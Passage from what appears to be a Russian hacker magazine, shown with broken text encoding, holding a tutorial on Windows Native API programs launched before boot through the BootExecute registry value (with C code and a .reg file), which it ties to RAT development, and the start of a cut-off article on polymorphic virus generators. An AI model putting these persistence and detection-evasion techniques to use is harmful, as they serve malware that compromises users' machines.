Â êîíöå êîíöîâ, Native-ïðèëîæåíèÿ íóæíû õîòÿ áû äëÿ òîãî, ÷òîáû ó ïðèÿ-
òåëåé òâîèõ ÷åëþñòü îòïàëà îò âèäà Hello World! åùå äî çàãðóçêè Windows.
Ýòî âåäü íå êàêîé-íèáóäü áàíàëüíûé MessageBox, ýòî preload-ïðîãðàììà.

[÷òî íóæíî äëÿ...] Ðàç òû äî÷èòàë äî ýòîãî ìåñòà, âîïðîñ «çà÷åì?» ó òå-
áÿ óæå íå ñòîèò. Ñëåäóþùèé âîïðîñ, íàâåðíîå, � «êàê?». ×òî æ, êàê îáû÷-
íî � î÷åíü ïðîñòî. Â ñòàðîé äîáðîé ñòóäèè íàïèøåì ïðîåêò, ñêîìïèëèðó-
åì, ïðîàïäåéòèì çàïèñü â ðååñòðå è âñå � ãåìîððîÿ íå î÷åíü ìíîãî.
Ïåðâîå ñ ÷åì íàäî ðàçîáðàòüñÿ, òàê ýòî ñ òåì, êàê íàïèñàòü ïðè îòíîñè-

òåëüíî îáû÷íûõ óñëî-
âèÿõ ïðèëîæåíèå, èñ-
ïîëüçóþùåå òîëüêî
Native API. Òî åñòü,
÷òî äëÿ ýòîãî òðåáóåò-
ñÿ. Îêàçûâàåòñÿ, íå
î÷åíü ìíîãî:
� Visual Studio .NET, â
êîòîðîé êîìïèëèðó-
þòñÿ âñå ïðåäñòàâ-
ëåííûå ìíîé ðàíåå
ïðîåêòû íà Ñè. ß íå

áóäó èçìåíÿòü ñâîåé ïðèâû÷êå. 
� Windows DDK, íàáîð äëÿ ñîçäà-
íèÿ äðàéâåðîâ. Îí íàì íóæåí íå
êàê ñðåäà äëÿ ðàçðàáîòêè, à êàê
èñòî÷íèê äðàãîöåííûõ îïðåäåëå-
íèé ñòðóêòóð ÿäðà è òèïîâ äàííûõ,
àêòèâíî èñïîëüçóåìûõ Native API,
óæå íå ãîâîðÿ î òîì, ÷òî áèáëèîòå-
êó ntdll.lib â äðóãèõ ìåñòàõ çàäîë-
áàåøüñÿ èñêàòü. 
� Çàãîëîâî÷íûé ôàéë nt.h, âçÿòûé
ìíîé îòêóäà-òî èç Ñåòè. Ðàíåå îí
èìåë íåìíîãî äðóãîå íàçâàíèå, íî
ÿ åãî ïîäðåäàêòèðîâàë, ïîäïðàâèë
äëÿ èñïîëüçîâàíèÿ â Native-ïðèëî-
æåíèÿõ è ïîýòîìó ïåðåèìåíîâàë.
Â íåì ñîäåðæàòñÿ îïèñàíèÿ ôóíê-
öèé, ýêñïîðòèðóåìûõ ntdll.dll. Êàê
ýòî íè ïå÷àëüíî, â ntddk.h îïèñàíà
ëèøü ìàëàÿ ÷àñòü íåîáõîäèìûõ
äëÿ ðàáîòû native-ôóíêöèé, ïîýòî-
ìó ïðèõîäèòñÿ èñïîëüçîâàòü îò-
íþäü íå ðîäíûå çàãîëîâêè.
Îáëàäàÿ âñåì íåîáõîäèìûì ìîæ-
íî ñàìûì íåïîñðåäñòâåííûì îá-
ðàçîì ïðèñòóïàòü ê ïðîãðàììèðî-
âàíèþ çäðàâñòâóéìèð�à.

[ñòðóêòóðà ïðèëîæåíèÿ] Ìàðê
Ðóññèíîâè÷ (www.sysinternals.com)
ñîâåòóåò ïèñàòü íàòèâíûå ïðîã-
ðàììû, ïîëüçóÿñü èñêëþ÷èòåëüíî
DDK. Äëÿ òåõ, êòî âñþ æèçíü ðàç-
ðàáàòûâàåò äðàéâåðà, � ýòî, êî-
íå÷íî, èäåàëüíûé âàðèàíò, íî ìíå,
÷åñòíî ãîâîðÿ, ïðèâû÷íåå âèçóàëü-
íàÿ ñòóäèÿ (ïðè÷åì íå ñàìàÿ íî-
âàÿ). ß ñîçäàë â íåé ñàìûé îáû÷-
íûé Win32-ïðîåêò è ïðîñòî ÷óòü-
÷óòü ïîäêîððåêòèðîâàë: óáðàë âñå,
÷òî ìîæíî áûëî óáðàòü èç íàñòðî-
åê, îñòàâèë âñå ëèáî «ïî óìîë÷àíèþ», ëèáî «âçÿòü èç èñõîäíèêà», à â ñà-
ìîì ñîðöå ÿ íàïèñàë ñëåäóþùåå:

#pragma comment(linker, "/SUBSYSTEM:NATIVE")
#pragma comment(linker,"/BASE:0x00010000")
#pragma comment(lib, "ntdll.lib")

Âìåñòî îáû÷íîé ïîäñèñòåìû WINDOWS ÿ óêàçàë NATIVE, ÷òîáû
êîìïèëÿòîð ïîíÿë, ñ ÷åì èìååò äåëî, íåìíîãî ñäâèíóë âíèç âèðòó-
àëüíûé àäðåñ, ïî êîòîðîìó áóäåò äîñòóïåí îáðàç ïðèëîæåíèÿ â ïà-
ìÿòè, è ïîäêëþ÷èë áèáëèîòåêó äëÿ ðàáîòû ñ ntdll.dll. Âñå ýòî ìîæíî
áûëî ñäåëàòü, è ïóòåøåñòâóÿ ïî Properties Pages ïðîåêòà. 
Ýòî âñå, ÷òî êàñàëîñü íàñòðîåê, à òåïåðü ïëàâíî ïîãðóæàåìñÿ â êîäèíã. 

#define _X86_
#include <ntddk.h>
#include "nt.h"

Âîò òàêèì íåçàìûñëîâàòûì îáðàçîì íà÷èíàåòñÿ ñàì êîä ïðîãðàììû (íå
ñ÷èòàÿ ïðàãì): äâà õåäåðà � îäèí èç DDK (íå çàáóäü, êñòàòè, ïðîïèñàòü
ïóòè ê îñíîâíûì ïàïêàì DDK, ñîäåðæàùèì õåäåðû è ëèáû) ñ îïèñàíè-
åì îñíîâíûõ ñòðóêòóð è òèïîâ, äðóãîé � ñ îïèñàíèÿìè ôóíêöèé, ýêñïîð-
òèðóåìûõ ntdll.dll. Îïðåäåëåíèå èäåíòèôèêàòîðà _X86_ íóæíî äëÿ òîãî,
÷òîáû êîìïèëÿòîð çíàë, êàêîé âàðèàíò ñòðóêòóð â ntddk âûáèðàòü, à òî
îíè ìîãóò ðàçëè÷àòüñÿ â çàâèñèìîñòè îò ïëàòôîðìû.
Êàê ïðîãðàììèðîâàíèå, òàê è âûïîëíåíèÿ ëþáîãî áîëåå èëè ìåíåå
îáû÷íîãî ïðèëîæåíèÿ íà÷èíàåòñÿ ñ ôóíêöèè main (WinMain,
_tWinMain, â îáùåì, íàçâàíèå ìîæåò áûòü ëþáûì, à ñìûñë îñòàåòñÿ
� òî÷êà âõîäà), íàø ñëó÷àé íå èñêëþ÷åíèå. Ó ðîäíûõ ôîðòî÷êàì
ïðîãðàìì òîæå åñòü main-ôóíêöèÿ, îäíàêî åå îïèñàíèå íåñêîëüêî îò-
ëè÷àåòñÿ. Âî-ïåðâûõ, ó íåå íå äâà ïàðàìåòðà, êàê ó êîíñîëüíûõ ïðè-
ëîæåíèé, è íå 4, êàê ó îáû÷íûõ Win32, à îäèí � óêàçàòåëü íà êàêóþ-
òî ñòðóêòóðó. È ÿ òàê áû è çàáèë íà åãî ïðåäíàçíà÷åíèå � íó, PVOID,
íó, è ÷åðò ñ íèì � åñëè áû íå èññëåäîâàíèÿ ìàñòåðà Ðóññèíîâè÷à.
Ýòîò óêàçàòåëü îí îêðåñòèë êàê PSTARTUP_ARGUMENT è ââåë íåñ-
êîëüêî èíòåðåñíûõ îïðåäåëåíèé: [X
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î÷èùåííûå îò íàêèïè íàñòðîéêè ïðîåêòà
Win32-ïðèëîæåíèÿ

ïðîïèñûâàåì ïóòè ê DDK â íàñòðîéêàõ ñòóäèè

ìó÷àåì êîä

Åñëè òåáå íóæåí ïðèìåð
Native-ïðèëîæåíèÿ äëÿ
àíàëèçà, à autochk íå õâà-
òàåò, ïîêîïàé CSRSS.EXE.

×òîáû òâîÿ ñòóäèÿ óìåëà
íàõîäèòü h- è lib-ôàéëû,
âõîäÿùèå êîìïëåêò DDK,
òû äîëæåí ïðîïèñàòü â åå
íàñòðîéêàõ äîïîëíèòåëü-
íûå ïóòè äëÿ ïîèñêà. Äëÿ
ýòîãî ëåçü â ñòóäèè â ìå-
íþ Tools -> Option, â çàê-
ëàäêå Projects âûáèðàé
VC++ Directories è äîáàâ-
ëÿé ïóòè ê ïàïêàì DDK â
Include files è Library files.

Äëÿ óäîáíîé ìîäèôèêàöèè
PE-ôàéëîâ ñîâåòóþ âîñ-
ïîëüçîâàòüñÿ òåáå ñâÿçêîé
èç ñëåäóþùèõ ôóíêöèé:
NtCreateFile,
NtCreateSection è
ZwMapViewOfSection. Ñ èõ
ïîìîùüþ òû îòîáðàçèøü
íóæíûé òåáå ôàéë ñåáå â
àäðåñíîå ïðîñòðàíñòâî è
ñêîððåêòèðóåøü åãî òàê,
ñëîâíî ýòî òâîé ñîáñòâåí-
íûé êîä, à íå êàêîé-íè-
áóäü ñèñòåìíûé ;).

Äëÿ ðàáîòû ñ ðååñòðîì â
Native-ïðèëîæåíèè òåáå
ïðåäñòîèò ðàçîáðàòüñÿ ñ
ôóíêöèÿìè NtCreateKey,
NtOpenKey,
NtQueryValueKey è
NtSetValueKey. 



// ñòðóêòóðà, óêàçàòåëü íà êîòîðóþ ïåðåäàåòñÿ òî÷êå âõîäà

typedef struct {
ULONG Unknown[3];
PENVIRONMENT_INFORMATION Environment;

} STARTUP_ARGUMENT, *PSTARTUP_ARGUMENT;

// ñòðóêòóðà, íà êîòîðóþ ññûëàåòñÿ STARTUP_ARGUMENT
// èç èíòåðåñíîãî ñîäåðæèò êîìàíäíóþ ñòðîêó, ñ êîòîðîé 
// áûëî çàïóùåíî ïðèëîæåíèå è èìÿ ôàéëà

typedef struct {
ULONG Unknown[21]; 
UNICODE_STRING CommandLine;
UNICODE_STRING ImageFile;

} ENVIRONMENT_INFORMATION, *PENVIRONMENT_INFORMATION;

Âî-âòîðûõ, main-ôóíêöèÿ � âîéäîâàÿ, òî åñòü îíà íè÷åãî íå âîçâðàùà-
åò. ß óâåðåí, ÷òî òû â êóðñå, ÷òî îáû÷íî äëÿ çàâåðøåíèÿ ðàáîòû ïðèëî-
æåíèÿ â main�å èñïîëüçóåòñÿ ÷òî-íèáóäü âðîäå return 0, íî åñëè òû äóìà-
åøü, ÷òî â íàøåé ôóíêöèè äîñòàòî÷íî áóäåò íàïèñàòü ïðîñòî return, òî
òû îøèáàåøüñÿ. Ïî ret�ó ìû óñêà÷åì íåèçâåñòíî êóäà, òàê êàê â ñòåêå
ìîæåò áûòü ëþáàÿ áåëèáåðäà. Çäåñü ïîäõîä èíîé:

NtTerminateProcess(NtCurrentProcess(), 0);

Âîò òàê ñëåäóåò äåëàòü, åñëè õî÷åøü, ÷òîáû òâîÿ ïðîãðàììà êîãäà-íè-
áóäü çàâåðøèëàñü. Åñëè ñîáðàòü âñå âûøåñêàçàííîå â êó÷êó, âûéäåò
âîò òàêàÿ main-ôóíêöèÿ:

void native_main(PSTARTUP_ARGUMENT arg)
{

NtTerminateProcess(NtCurrentProcess(), 0);
}

Ñòðàííîå èìÿ äëÿ main-ôóíêöèè, íå ïðàâäà ëè? Êîìïèëÿòîð òîæå òàê ïî-
äóìàåò, ïîýòîìó íàäî åãî ïðåäóïðåäèòü äîáàâëåíèåì åùå îäíîé ïðàãìû.

#pragma comment(linker, "/ENTRY:native_main")

Õîðîøàÿ ôóíêöèÿ ïîëó÷àåòñÿ ;), ïðàâäà, àáñîëþòíî áåñïîëåçíàÿ. Ýòî
ïîïðàâèìî.

[hello world!] Äàâàé äëÿ íà÷àëà íàó÷èì ïðîãðàììó âûâîäèòü ÷òî-íè-
áóäü íà ïðåëåñòíûé ñâåòëî-ãîëóáîé ýêðàí, ïðåäâåùàþùèé ñêîðîå ïî-
ÿâëåíèÿ îêîøêà äëÿ ââîäà ïàðîëÿ. Ïðåæäå âñåãî íàäî óñâîèòü, ÷òî
ñòðîêà äëÿ íèçêîóðîâíåâîé ÷àñòè Windows � ýòî unicode-ñòðîêà (à ïî
ýòîìó ïîâîäó â ñðî÷íîì ïîðÿäêå ëåçü â íàñòðîéêè ñâîåãî ïðîåêòà, ãäå
â çàêëàäêå General ìåíÿé Character Set íà Use Unicode Character Set,
÷òîáû âñå ñòðîêè ïî óìîë÷àíèþ ñîçäàâàëèñü â þíèêîäå). Ïðè÷åì íå
ïðîñòî ìàññèâ ñëîâ (ñëîâà � ýòî òàêèå øòóêè, â êîòîðûå 2 áàéòà âëå-
çàþò), à ñïåöèàëüíàÿ ñòðóêòóðà äàííûõ, ñîäåðæàùàÿ óêàçàòåëü íà ìàñ-
ñèâ è åãî òåêóùóþ è ìàêñèìàëüíóþ äëèíû:

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;

} UNICODE_STRING;

Ýòîò òèï äàííûõ òåáå çàïîìíèòñÿ íàäîëãî, òàê êàê â äðóãîì âèäå ñòðî-
êè çäåñü íå ïåðåâàðèâàþòñÿ. Äëÿ óäîáíîé ðàáîòû ñ ïîäîáíûìè ñòðîêà-
ìè ntdll ýêñïîðòèðóåò öåëûé ðÿä ôóíêöèé, èç êîòîðûõ ñëåäóåò îòìåòèòü:
+ VOID RtlInitUnicodeString(IN OUT PUNICODE_STRING, IN PWSTR) � ôóíêöèÿ,
èíèöèàëèçèðóþùàÿ ñòðóêòóðó UNICODE_STRING îáû÷íîé unicode-ñòðîêîé. 

// çàïèõèâàþ â string íóæíóþ ìíå ñòðîêó

UNICODE_STRING string;
RtlInitUnicodeString(&string, L�\nHello... hm... World?�);

� NTSTATUS RtlAnsiStringToUnicodeString(IN OUT PUNICODE_STRING, IN
PANSI_STRING, IN BOOLEAN) � ôóíêöèÿ, ïðåîáðàçóþùàÿ ANSI_STRING â
UNICODE_STRING. Áûâàåò î÷åíü ïîëåçíà, åñëè ïî êàêîé-íèáóäü íèêîìó
íåâåäîìîé ïðè÷èíå ó òåáÿ ïîÿâèëàñü ansi-ñòðîêà, äà åùå è â ñòðóêòóðå
ANSI_STRING (êîòîðàÿ, ê ñëîâó, îòëè÷àåòñÿ îò ïîõîæåé ïî íàçâàíèþ uni-
code-ñòðóêòóðû òîëüêî óêàçàòåëåì � â îäíîé PWSTR, â äðóãîé � PCHAR).

� VOID RtlInitAnsiString(IN OUT PANSI_STRING, IN PCSZ) � íóæíà äëÿ
òîãî ÷òîáû èíèöèàëèçèðîâàòü óïîìÿíóòóþ âûøå ANSI_STRING ñ ïî-
ìîùüþ ñàìîé îáû÷íîé ñòðîêè.

// åñëè íå íàñòðîèòü ïðîåêò íà èñïîëüçîâàíèå Unicode Character Set,
// òî ïðèäåòñÿ äåëàòü òàê

UNICODE_STRING unicodeString;
ANSI_STRING ansiString;

RtlInitAnsiString(&ansiString, L�\nOh, damnet, not again!!!�);
RtlAnsiStringToUnicodeString(&unicodeString, &ansiString, TRUE);

// TRUE â òðåòüåì ïàðàìåòðå îïðåäåëÿåò, âûäåëÿòü ëè ïàìÿòü 
// ïîä Unicode-ñòðîêó, åñëè ìû åå âûäåëèëè, òî âïîñëåäñòâèè 
// ïðèäåòñÿ åå îñâîáîäèòü ñ ïîìîùüþ RtlFreeUnicodeString

Ýòèõ òðåõ ôóíêöèé õâàòèò íà âñå ïðî âñå. Ìîæíî, êîíå÷íî, ïîêîïàòü
DDK â ïîèñêàõ åùå íåñêîëüêèõ, íî îíè âðÿä ëè òåáå ïðèãîäÿòñÿ.
Íó, à ÷òîáû âûâåñòè íà ýêðàí ïîëó÷åííóþ â íóæíîì ôîðìàòå ñòðî÷êó, íóæíà
îäíà î÷åíü ïðîñòàÿ ôóíêöèÿ, âñåãî ñ îäíèì ïàðàìåòðîì. Óãàäàé, ñ êàêèì? 

// âûâîäèì ìíîãîñòðàäàëüíóþ ñòðîêó íà ãîëóáîé ýêðàí

NtDisplayString(&unicodeString);

[ðàáîòà ñ ôàéëàìè] Âûâîä íà ýêðàí � ýòî ïðîñòî çàìå÷àòåëüíî! Ìîæ-
íî óäèâèòü äðóçåé ascii-ãðàôèêîé ïåðåä çàãðóçêîé, à, ðàçîáðàâøèñü ñ
ââîäîì ñ êëàâèàòóðû, ìîæíî è êàêóþ-íèáóäü ïðîñòåíüêóþ äèàëîãîâóþ
ïðîãðàììêó íàïèñàòü. Íî âñåãî ýòî äëÿ íîðìàëüíîãî ïðîãðàììèðîâàíèÿ
ìàëî. Äëÿ èñïîëüçîâàíèÿ â öåëÿõ ðàçðàáîòêè RAT òóò íóæíî õîòÿ áû ñ
ôàéëàìè ðàáîòàòü, ñ ðååñòðîì, óìåòü äðàéâåðà çàãðóæàòü. Ýòî âñå íå
ñëîæíî, íî òðåáóåò îïðåäåëåííîãî ïîãðóæåíèÿ â òåìó. Ê ïðèìåðó, íåêî-
òîðûì î÷åíü íåïðèâû÷íî èñïîëüçîâàíèå âìåñòî îáû÷íîãî èìåíè ôàéëà
äëÿ ôóíêöèè NtCreateFile ñòðóêòóðû OBJECT_ATTRIBUTES.

typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;

} OBJECT_ATTRIBUTES;

Ëþäè åå çà÷åì-òî âðó÷íóþ çàïîëíÿþò, íàä êàæäûì ïîëåì äóìàþò, ìó-
÷àþòñÿ. À åñòü óäîáíûé ìàêðîñ. ×òîáû îòêðûòü ôàéë â user mode, àòðè-
áóòû îáúåêòà ÿ îïðåäåëÿþ âîò òàê:

InitializeObjectAttributes(&oa, &filename, NULL, NULL, NULL);

filename çäåñü � ýòî UNICODE_STRING ñ èìåíåì ôàéëà, ïðè÷åì çàïè-
ñàííûì â ñïåöèàëüíîì ôîðìàòå, ïåðåä ïîëíûì ïóòåì íóæíî ïîñòàâèòü
\\??\\. explorer.exe â òàêîé çàïèñè âûãëÿäèò êàê \\??\\C:\\Windows\\explor-
er.exe. Íó, à ñàìî îòêðûòèå ñîîòâåòñòâåííî:

status = NtCreateFile (&hFile, GENERIC_READ | GENERIC_WRITE | SYN-
CHRONIZE | FILE_APPEND_DATA, &oa, &io, 0, FILE_ATTRIBUTE_NOR-
MAL, FILE_SHARE_WRITE|FILE_SHARE_READ, FILE_OVERWRITE_IF,
_SYNCHRONOUS_IO_NONALERT, NULL, 0); [X
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äèçàññåìáëèðóåì autochk.exe, ÷òîáû óçíàòü ÷òî-íèáóäü íîâåíüêîå
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Îòëè÷èÿ îò Win32 API, êàê âèäèøü,
ìèíèìàëüíû, ïîÿâëÿþòñÿ, êîíå÷íî,
íåêîòîðûå íîâûå ñòðóêòóðû è îïðåäå-
ëåíèÿ, íî ñ íèìè î÷åíü ëåãêî ðàçîá-
ðàòüñÿ. Ïîýòîìó áåðè êíèãè Íåááåòà,
Ñîëäàòîâà, à åñëè õî÷åøü íàó÷èòüñÿ
è äðàéâåðà èç ñâîåãî Native-ïðèëîæå-
íèÿ ãðóçèòü, òî è Õîãëàíäà (www.rootk-
it.com), è ðàçáèðàéñÿ. Åñëè âäðóã êà-
êèå-íèáóäü âîïðîñû âîçíèêíóò â ïðîöåññå èçó÷åíèÿ � ïèøè, ïîìîãó êîäîì
èëè ñîâåòîì ïî ìåðå âîçìîæíîñòè. Íà ýòîì ÿ çàêàí÷èâàþ ñâîå ïîâåñòâîâà-
íèå, íàäåþñü, ÷òî îíî íå ïîáóäèò òåáÿ ê ÷åìó-íèáóäü ïðîòèâîçàêîííîìó 

ÎÐÈÃÈÍÀËÜÍÛÉ HHELLOWORLD
Íåìíîãî èçìåíåííûé ìíîé êîä Ìàðêà Ðóññèíîâè÷à, 
êîïèðóþùèé ïàðàìåòðû çàïóñêà â êó÷ó è âûâîäÿùèé èõ
íà ýêðàí.

#pragma comment(linker, "/SUBSYSTEM:NATIVE")
#pragma comment(linker, "/ENTRY:native_main")
#pragma comment(lib, "ntdll.lib")
#pragma comment(linker,"/BASE:0x00010000") 

#define _X86_

#include <ntddk.h>
#include <stdio.h>
#include "nt.h"

typedef struct {
ULONG Unknown[21];     
UNICODE_STRING CommandLine;
UNICODE_STRING ImageFile;

} ENVIRONMENT_INFORMATION, *PENVIRONMENT_INFORMATION;

typedef struct {
ULONG Unknown[3];
PENVIRONMENT_INFORMATION Environment;

} STARTUP_ARGUMENT, *PSTARTUP_ARGUMENT;

typedef struct {
ULONG Length;
ULONG Unknown[11];

} RTL_HEAP_DEFINITION, *PRTL_HEAP_DEFINITION;

void native_main(PSTARTUP_ARGUMENT Argument)
{

PUNICODE_STRING commandLine;
PWCHAR stringBuffer, argPtr;
UNICODE_STRING helloWorld;
RTL_HEAP_DEFINITION  heapParams;

memset(&heapParams, 0, sizeof(RTL_HEAP_DEFINITION));
heapParams.Length = sizeof(RTL_HEAP_DEFINITION);
Heap = RtlCreateHeap(2, 0, 0x100000, 0x1000, 0, &heapParams);

commandLine = &Argument->Environment->CommandLine;

argPtr = commandLine->Buffer;
while (*argPtr != L' ') argPtr++;
argPtr++;

stringBuffer = RtlAllocateHeap( Heap, 0, 256 );
swprintf(stringBuffer, L"\n%s", argPtr);
helloWorld.Buffer = stringBuffer;
helloWorld.Length = wcslen(stringBuffer) * sizeof(WCHAR);
helloWorld.MaximumLength = helloWorld.Length + sizeof(WCHAR);
NtDisplayString(&helloWorld);

RtlFreeHeap(Heap, 0, stringBuffer);

NtTerminateProcess(NtCurrentProcess(), 0);
} 

ïðîïèñûâàåì ïðèëîæåíèå â ðååñòðå

ÑÀÌÎÅ ÃÃËÀÂÍÎÅ �� ÇÇÀÏÓÑÊ
Âî âñåé ñòàòüå òû òàê è íå âñòðåòèë íè îäíîãî óïîìèíàíèÿ î
òîì, êàê æå âñå-òàêè çàïóñòèòü ðàçðàáîòàííóþ ïðîãðàììó,
çàãðóçèòü åå åùå äî ñòàðòà Windows. ß áàíàëüíî îá ýòîì çàáûë
ðàññêàçàòü ;). Òóò íåò íè÷åãî ñëîæíîãî. Äëÿ òîãî ÷òîáû Native-
ïðèëîæåíèå çàïóñêàëîñü äî çàãðóçêè âèíäû (ñîáñòâåííî,
íèêàê èíà÷å åãî è íå çàïóñòèòü� ñòàíäàðòíûìè ñðåäñòâà-
ìè) íóæíî çàëåçòü â ðååñòð, â
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\
Session Manager, îòêðûòü òàì êëþ÷ BootExecute (òàì óæå
ëåæèò autochk � ýòî íàø ëþáèìûé ñêàíäèñê) è äîáàâèòü â
íåãî íîâóþ ñòðîêó ñ èìåíåì ïðîãðàììû, êîòîðîå òû õîòåë
áû ñòàðòîâàòü. Ïðîãà, åñòåñòâåííî, äîëæíà ê ìîìåíòó ïå-
ðåçàãðóçêè óæå ëåæàòü â ïàïêå system32. Ìîæíî ïðîöåññ
ðåãèñòðàöèè íåìíîãî àâòîìàòèçèðîâàòü. Ñîçäàé ôàéë ñ
ðàñøèðåíèåì reg ñî ñëåäóþùèì ñîäåðæàíèåì:

REGEDIT4

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager]
"BootExecute"=hex(7):61,75,74,6f,63,68,65,63,6b,20,61,75,74,6f,63,68,6b,20,2a,\
00,6e,61,74,69,76,65,20,48,65,6c,6c,6f,20,57,6f,72,6c,64,21,00,00

À çàòåì çàïóñòè. Ê êëþ÷ó BootExecute äîáàâèòñÿ ñòðî÷êà
«native», çàïóñêàþùàÿ native.exe, ïðèëîæåíèå, ñîðöû êîòî-
ðîãî òû ìîæåøü íàéòè íà äèñêå. 
Äðóãîé âàðèàíò � ýòî íàïèñàòü íåáîëüøîé êîä ñïåöèàëü-
íî äëÿ ðåãèñòðàöèè íàøåãî ïðèëîæåíèÿ. Ó ìåíÿ íà ýòî íå-
õèòðîå äåëî óøëî 5 ìèíóò. 

BOOL RegistryAdd(PSTR szAppName)
{

char szRegEntry[1024];
DWORD dwBytes = 1024;
BOOL ret = FALSE;
HKEY hk;

char *szKeyPath = "SYSTEM\\CurrentControlSet\\Control\\Session Manager";

// îòêðûâàåì êëþ÷èê
if (RegCreateKey(HKEY_LOCAL_MACHINE, szKeyPath, &hk) !=

ERROR_SUCCESS) 
return 0;

// ñêèäûâàåì âñå äàííûå â áóôåð
if (RegQueryValueEx(hk, "BootExecute", 
0,0, (LPBYTE)szRegEntry, &dwBytes)) 

szRegEntry[0] = 0;

// äîáàâëÿåì ê áóôåðó ñâîþ ñòðî÷êó
lstrcat(&szRegEntry[dwBytes-1], szAppName);
if (RegSetValueEx(hk, "BootExecute", 0, REG_MULTI_SZ, 

(LPBYTE) szRegEntry, dwBytes + lstrlen(szAppName) + 1))
goto finally;

ret = TRUE;

finally: {
// çàêðûâàåì êëþ÷èê
if (hk) RegCloseKey(hk);

}
return ret;

}

ñòàòüÿ ãóðó î native-ïðèëîæåíèÿõ





Ñóùåñòâóþò òûñÿ÷è ãîòîâûõ ïîëèìîðôíûõ äâèæêîâ, âîáðàâøèõ â
ñåáÿ ìíîæåñòâî áëåñòÿùèõ èäåé, è ÷òîáû ïåðåïëþíóòü èõ, ïðèäåò-
ñÿ î÷åíü ñèëüíî ïîñòàðàòüñÿ. Êîíå÷íî, ïðîôåññèîíàëüíûé õàêåð
ìîæåò (è äîëæåí!) áðîñèòü âûçîâ ñâîèì êîëëåãàì, óäàâèòü ìèð î÷å-
ðåäíûì øåäåâðîì (èëè ñíà÷àëà óäèâèòü, à ïîòîì óäàâèòü). Íî äëÿ
ýòîãî òðåáóåòñÿ îïûò. À ãäå åãî âçÿòü? Ïðàâèëüíî, íà÷àòü ïðîãðàì-
ìèðîâàòü ïðîñòåíüêèå ïîëèìîðôíûå ãåíåðàòîðû, ïîâòîðÿÿ êåì-òî
äàâíî ïðîéäåííûé ïóòü. È âîò òàê ìàëåíüêèìè øàæêàìè õàêåðñêîå
ñîîáùåñòâî äâèæåòñÿ ïóòåì ïðîãðåññà èç çîëîòîãî âåêà âî òüìó.

[êëàññèôèêàöèÿ ïîëèìîðôíûõ ãåíåðàòîðîâ] Ïðèíÿòî âûäå-
ëÿòü øåñòü ñòóïåíåé ïîëèìîðôèçìà: îò ïðîñòåéøèõ «îäíîêëåòî÷íûõ»
äî ðàçâèòûõ îðãàíèçìîâ. Áóäåì ñëåäîâàòü ýòîé êëàññèôèêàöèè è ìû.
Ðàññìîòðèì, êàê îíà âûãëÿäèò ñ òî÷êè çðåíèÿ õàêåðà è àíòèâèðóñà.

120
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Ïîëèìîðôíûå ãåíåðàòîðû èçíóòðè

[ñòóïåíü 0: permutation èëè ïðîñòåéøèå ïåðåñòàíîâêè] Èäåÿ:
îáðàáàòûâàåìûé êîä äåëèòñÿ íà áëîêè ïîñòîÿííîãî èëè ïåðåìåííîãî ðàç-
ìåðà, êîòîðûå â êàæäîì ïîêîëåíèè âèðóñà ïåðåñòàâëÿþòñÿ â ñëó÷àéíîì
ïîðÿäêå. Ýòî åùå íå íàñòîÿùèé ïîëèìîðôèçì, íî è îáû÷íûì òàêîé êîä
óæå íå íàçîâåøü. Îí ëåãêî ïðîãðàììèðóåòñÿ, íî è ëåãêî îáíàðóæèâàåòñÿ.
Ñîäåðæèìîå áëîêîâ îñòàåòñÿ íåèçìåííûì, ïîýòîìó ñ íèìè ñïðàâëÿåòñÿ äà-
æå ñèãíàòóðíûé ïîèñê.
Ïîñêîëüêó áëîêè «íàðåçàþòñÿ» åùå íà ñòàäèè ïðîåêòèðîâàíèÿ, ïðîáëåìû
ñëó÷àéíîãî «ðàñùåïëåíèÿ» ìàøèííûõ êîìàíä ãðàíèöàìè áëîêîâ íå âîçíè-
êàåò, è ñî÷èíÿòü ñîáñòâåííûé äèçàññåìáëåð äëèí íàì íå ïðèõîäèòñÿ. Òåì
íå ìåíåå, ïðè ïðîãðàììèðîâàíèè âîçíèêàþò ñëåäóþùèå ïðîáëåìû: ïîñ-
êîëüêó, àäðåñà áëîêîâ â êàæäîì ïîêîëåíèè ìåíÿþòñÿ, ìàøèííûé êîä äîë-
æåí áûòü ïîëíîñòüþ ïåðåìåùàåìûì, òî åñòü ñîõðàíÿòü ðàáîòîñïîñîáíîñòü
íåçàâèñèìî îò ñâîåãî ìåñòîïîëîæåíèÿ. Ýòî äîñòèãàåòñÿ ïóòåì îòêàçà îò
íåïîñðåäñòâåííûõ ìåæáëî÷íûõ âûçîâîâ. Ñîâåðøàòü ïåðåõîäû, âûçûâàòü
ôóíêöèè, îáðàùàòüñÿ ê ïåðåìåííûì ìîæíî òîëüêî â ïðåäåëàõ «ñâîåãî»
áëîêà. Â ïðàêòè÷åñêîì ïëàíå ýòî çíà÷èò, ÷òî âìåñòå ñ êîäîì êàæäûé áëîê
íåñåò è ñâîè ïåðåìåííûå.
Íî âñå-òàêè äåëàòü ìåæáëî÷íûå âûçîâû èíîãäà ïðèõîäèòñÿ. Êàê? Çàâèñèò
îò ôàíòàçèè. Ïðîùå âñåãî ñîçäàòü òàáëèöó ñ áàçîâûìè àäðåñàìè âñåõ áëî-
êîâ è ïîìåñòèòü åå ïî ôèêñèðîâàííîìó ñìåùåíèþ, íàïðèìåð, ïîëîæèòü â
ïåðâûé áëîê. Îíà ìîæåò âûãëÿäåòü, íàïðèìåð, òàê:

[òàáëèöà êîñâåííûõ âûçîâîâ ñ áàçîâûìè àäðåñàìè âñåõ áëîêîâ] 

base_table:
block_1 DD offset block_1
block_2 DD offset block_2
...
block_NDD offset block_N

À âûçîâ áëîêà ìîæåò âûãëÿäåòü òàê:

[êîñâåííûé ìåæáëî÷íûé âûçîâ, íîìåð áëîêà ïåðåäàåòñÿ â ðåãèñòðå
ESI, à ñìåùåíèå ôóíêöèè îò íà÷àëà áëîêà � â ðåãèñòðå EBX, àðãó-
ìåíòû ôóíêöèè ìîæíî ïåðåäàâàòü ÷åðåç ñòåê]

SHR ESI, 2 ; óìíîæàåì íîìåð áëîêà íà 4
ADD ESI, offset base_table + 4

; ïåðåâîäèì â ñìåùåíèå 
